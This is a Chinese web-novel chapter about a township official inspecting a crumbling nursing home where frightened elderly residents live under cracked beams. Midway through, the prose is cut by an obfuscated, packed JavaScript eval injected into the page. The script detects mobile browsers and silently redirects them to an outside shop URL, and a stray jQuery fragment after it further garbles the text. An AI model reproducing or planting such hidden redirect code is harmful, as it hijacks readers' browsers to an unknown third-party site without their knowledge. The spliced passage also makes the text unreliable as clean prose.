天刚蒙蒙亮。叶舟从炕上坐起来。
后半夜翻来覆去，竹席磨得簌簌响。宁蕙心被他折腾醒，声音沙哑：“你一夜翻，炕都快烂了。”
“睡不着。”
“非要今天去？”
“嗯。”
宁蕙心不再多问，披衣下炕，进了灶房。灶火亮起来，柴火噼啪地响。
叶子安也醒了。趴在炕沿，看着父亲。叶舟对着破镜子整理衣领，手微微发抖。一粒纽扣，扣了两遍才扣正。
“爸，又不是见领导。”
叶舟手一顿：“我不是紧张，是心里没底。”
叶子安坐起身，被子盖在腰上：“你今天只看，只记，不说话，不表态。看完回来再说。”
“去了不说话，去做什么？”
“看清实情，就是做事的开头。”
叶舟没再争。他想起老槐树，想起那张旧照片。
“行。”
宁蕙心端来一碗热稀饭。叶舟几口喝完，烫得嘴角发麻，也顾不上。刚踏出门口，又折回来，看着叶子安，声音压得低：“你说的那些老人……是真的？”
“你去看看就知道了。”
晨雾薄薄的，罩着整条土路。坑坑洼洼，自行车碾过去，颠得人骨头发沉。
安溪镇养老院到了。
铁门生锈，半开半掩。木牌褪色，字都淡了，歪在门头。叶舟把车靠在墙根，推门进去。
院子静。墙皮大块脱落，青砖露着灰白的底色。屋顶瓦片东倒西歪。东边那排房子，最老，最破。
几个老人坐在墙根晒太阳，裹着厚厚的棉袄，眯着眼睛，一动不动。
“老张头！”叶舟喊了一声。
靠墙的一个老人缓缓睁开眼。看清是叶舟，咧嘴笑了笑：“哟，小叶来了？稀客啊。”
“来看看你们。”叶舟走过去，挨着老人蹲下。一股上了年纪的体味混着烟草味，钻进鼻腔。
“最近咋样？身子骨还硬朗吗？”
老张头没接话。扭头看了一眼东边那排房子，又把头转回来。
“还能咋样。吃饱穿暖，熬日子呗。”他说得轻描淡写，眼神却往叶舟脸上瞟了一下，又移开。
“院长呢？”
“在屋里烤火呢。”
叶舟走进办公室。一股热气夹杂着劣质煤炭的味道，迎面扑来。院长何晨贵正猫着腰在火盆边烤火，看见他进来，赶紧站起来。
“哎呀，叶干事，稀客稀客！”何晨贵脸上堆满笑，搓着手。粗短的手指缝里，嵌着黑泥。
“老何，快过年了，镇里要慰问，我先来摸摸底。”叶舟掏出烟递过去。
何晨贵接过，笑得眼睛眯成一条缝：“您放心，咱们这儿啥都好。就是房子旧了点，不耽误住人！”
他说这话的时候，眼睛一直看着叶舟的脸。嘴角的笑纹纹丝不动，像练过很多遍。
“那就好。”叶舟点点头，“我去转转。”
“行行行，您随意看！”
何晨贵脚下没动。等叶舟转身出了门，他才慢慢坐回火盆边。脸上的笑褪了个干净。
叶舟直奔东边那排瓦房。
墙皮大片剥落，露出里面粗糙的泥土。屋顶瓦片歪斜，有几处已经塌了，用塑料布和稻草盖着。他伸手摸了摸墙体——指尖一碰，白灰簌簌往下掉。
心里咯噔一下。
他推开第一间房门。
屋里光线暗。窗户糊着旧报纸，地上摆着两个盆，盆底还留着水。霉味、尿骚味混在一起，闷得人胸口发堵。
一铺土炕，挤三个老人。被子薄得发硬，补丁摞着补丁。
“小叶来啦？”靠墙的王奶奶抬起头。
“王奶奶，屋里暖和不？”叶舟走进去，目光扫过屋顶。
“暖和，有炕烧着呢。”王奶奶说着，手指把被角往上拉了拉。
叶舟盯着头顶的房梁。那根主梁中间有一道裂缝，弯弯曲曲，横贯大半。裂缝边缘往外渗着细细的灰末。梁尾明显下沉。
他抬手摸了摸墙。手指往裂缝里伸了伸，能塞进去半个指节。
“咋了？”王奶奶顺着他的目光看过去，声音低了下去，“这房子老了，到处都是毛病，习惯了。”
旁边一个老头咳嗽起来。咳得很用力，脸憋得通红。咳完，他看了王奶奶一眼。王奶奶低下头，不吭声了。
叶舟没说话，转身走出房间。
第二间。第三间。第四间。
间间如此。梁裂，墙酥，顶漏。有一间屋顶的裂缝能看见天光，冷风顺着缝隙往里灌。每一间里的老人，说辞都差不多——没事，能住，习惯了。
叶舟再次走进王奶奶的屋子，蹲在炕边。老人枯瘦冰凉的手，轻轻握着他的手指。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17635647|206572||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
“小叶，你说这房子，还能撑多久？”
叶舟喉咙发堵。
“没事，我就是随便问问。”老人松开手，把被角往上拉了拉，“你忙，去吧。”
走出屋外，叶舟站在院里。
七间危房，间间住着人。老人不敢说。说了怕没地方去。
他蹲下来，摸出烟，点上。手抖，打火机打了两下才着。烟雾呛得他咳了几声。
墙根缝隙钻出一只灰老鼠，贴着墙根溜了一圈，又钻回去了。
他快步走回办公室。何晨贵还在烤火，见他回来，立刻扬起笑脸：“叶干事，看得咋样？”
叶舟站定门口：“东边那排房子，房梁开裂严重，墙体酥软，隐患很大。”
何晨贵脸上的笑僵了一瞬，连忙摆手：“哎呀，老房子年头久，有点裂缝正常。住几十年了，塌不了。”
叶舟盯着他：“你确定？”
何晨贵视线往旁边飘了飘，声音拔高几分：“我天天守在这儿，能不知道？年年都是这么过来的！”
叶舟没再说话，转身就走。
身后，何晨贵追了一步：“叶干事，您可别乱报啊。报了上面也不批……”
叶舟没有回头。
出了院门，他蹲在路边，又点了一根烟。
风大了。远处田埂上蹲着一只野猫，眼睛绿幽幽的，看了他一会儿，喵了一声，钻进枯草里。
脑子里一遍遍回放：开裂的房梁，老人躲闪的眼神。
后背一阵阵发凉。
烟抽完，他把烟头掐灭在土里。骑上车，往回蹬。
到家的时候，宁蕙心还在井边洗菜。
听见门响，她猛地抬头，手里的菜叶一抖，掉进盆里。
叶舟没答话，径直走进堂屋。
叶子安正低头写字，笔尖沙沙。
叶舟蹲下来，平视着儿子。眼眶红，嗓子干涩。
“子安，你是对的。那排房子全裂了。七个老人，全都住在危楼里。”
他停了停。
“老人不敢说。怕说了，连那破地方都没得住。”
叶子安放下笔，看着他。
叶舟抬手揉了揉儿子的头顶。
“信。”
宁蕙心站在门口，手里捏着湿菜叶。
院子里，风停了。压水井被风轻轻一吹，吱呀一声。